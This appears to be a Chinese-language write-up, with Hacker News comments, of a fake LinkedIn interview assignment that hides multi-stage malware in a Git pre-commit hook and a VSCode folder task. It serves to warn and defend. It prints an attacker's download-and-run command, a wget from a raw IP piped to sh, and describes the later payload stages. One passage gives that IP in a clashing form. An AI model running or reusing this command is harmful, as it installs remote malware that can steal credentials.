虚假求职面试课后作业包含 Git Hook 恶意软件
虚假求职面试课后作业包含 Git Hook 恶意软件
概述
通过 LinkedIn 招聘人员发送的课后作业包含一个 Git 仓库,其中配置了预设的 hooks,当开发者运行 git commit 时,这些 hooks 会执行远程代码。
恶意软件工作原理
pre‑commit hook 会检测宿主操作系统,并从 http://45.61.164.38:5777 静默获取有效载荷。
- 在 Linux 上,它会运行
wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' | sh。 - 第一阶段会下载一个名为
tokenlinux.npl的文件,将其重命名为tokenlinux.sh,赋予执行权限并使用nohup启动。 - 第二阶段 (
tokenlinux.sh) 会将parser.js和package.json下载到$HOME,安装 Node.js 的request包并在后台运行parser.js。 parser.js经过高度混淆;id参数似乎会为每个受害者提供定制的有效载荷。package.json列出的依赖项提供了网络功能 (axios)、FTP (basic-ftp)、剪贴板 (clipboardy)、文件系统 (fs)、JSON Web Tokens (jsonwebtoken)、进程操作 (process,ps-node) 以及 Ethereum 开发环境 (hardhat)。
发现方法
作者通过对提取的项目运行 tree -a 发现了隐藏的 hooks,这显示了 .git/hooks 目录。
- 检查
.git/hooks/pre-commit显示了特定于操作系统的 curl/wget 命令。 - 对攻击者的端点进行连续的
curl请求可以检索到暂存的脚本。 - 更改
id参数会返回不同的脚本,表明针对每个受害者进行了定制。
攻击者基础设施
该恶意软件会连接到端口 5777 上的原始 IP 地址 (45.61.38)。
- Nmap 扫描显示有三个开放端口;只有端口 22 在 Ubuntu 上响应 OpenSSH 9.6p1,在扫描时没有已知的 CVE。
- 使用原始 IP 地址而非域名被视为典型的恶意软件特征。
变体与感染途径
一些受害者收到了一个 .vscode 文件夹,其中包含在 VSCode 中打开目录时执行的启动命令,这意味着无需运行任何 Git 命令即可发生感染。
- 原始仓库是一个克隆的公开 FastAPI 项目 (
https://github.com/Bgogoi123/personal-finance-service),攻击者向其中添加了恶意的.git目录。 - Git 日志仅显示原始项目的提交;没有来自攻击者的自定义提交。
社区见解
Hacker News 帖子上的评论强调了几个观点:
- "TIL 关于 tree... 我不再对学习我使用了 25 年以上和 10 年以上的操作系统的知识感到惊讶,只是享受这些课后面试噩梦故事带来的发现的快感,它们太普遍了" – @fitsumbelay
- "这似乎正在成为一个反复出现的主题,上个月首页上也有类似的故事" – @wxw (引用 https://news.ycombinator.com/item?id=48546294)
- "为什么要使用原始 IP 地址?如果非要说的话,这简直是在大喊“恶意软件”。如果受害者足够深入到检查 hook 的内容,他们不太可能在这里就停止怀疑。我确信大多数开发人员不会认为执行
git commit是有恶意的(Git 安全疏忽?)" – @ivanjermakov - "我从这个案例中得到的教训是 Claude 作为助手完全没用,多亏了所有的安全防护措施和那些废话。" – @vardalab
- "如果 LinkedIn 真的关心防止诈骗,如果你想列出当前的雇佣关系,他们可以实现使用公司电子邮件的验证。" – @darth_avocado
- "我从这个案例中得到的教训是,我应该采取和有人打电话说“来自你的银行”时一样的防御措施。当他们直接联系你时,去真正的公司网站申请并联系真正的招聘人员。" – @gtowey
- "在 AI 时代,这类测试还有意义吗?认真提问,我已经很久没有面试了。它们看起来就像课后大学考试一样有用。" – @drnick1
- "我假设完成此事的标准方式是通过招聘人员提供的虚拟机,对吧?" – @wslh
- "我想知道如果你点击“不信任作者”,vscode 是否仍会加载该脚本?" – @syntaxing
- "我检查了全局禁用 git hooks 的方法。目前没有内置的方法可以做到这一点。" – @darkstar999
- 个人经验:“我发现我被黑了,但是一种更复杂的攻击……我需要擦除我的笔记本电脑并重新安装所有内容。” – @IvanGoncharov
防御建议
- 在执行来自未知来源的任何代码之前,请检查隐藏目录(例如,运行
tree -a或ls -la.git/hooks)。 - 将未经请求的课后作业视为潜在的敌对行为;考虑使用可丢弃的虚拟机或容器。
- 通过官方渠道联系公司来验证招聘人员的合法性,而不是回复 LinkedIn 消息。
- 请注意,除非工作区被标记为不受信任,否则 VSCode 将运行文件夹级别的任务。
- Git 没有全局禁用 hooks 的内置选项;用户必须手动审计
.git/hooks。
结论
此事件表明攻击者如何滥用课后面试中隐含的信任,在 Git hooks 中嵌入多阶段恶意软件,并利用看似无害的依赖项来实现持久化和潜在的凭据窃取。在检查第三方代码时保持警惕仍然至关重要。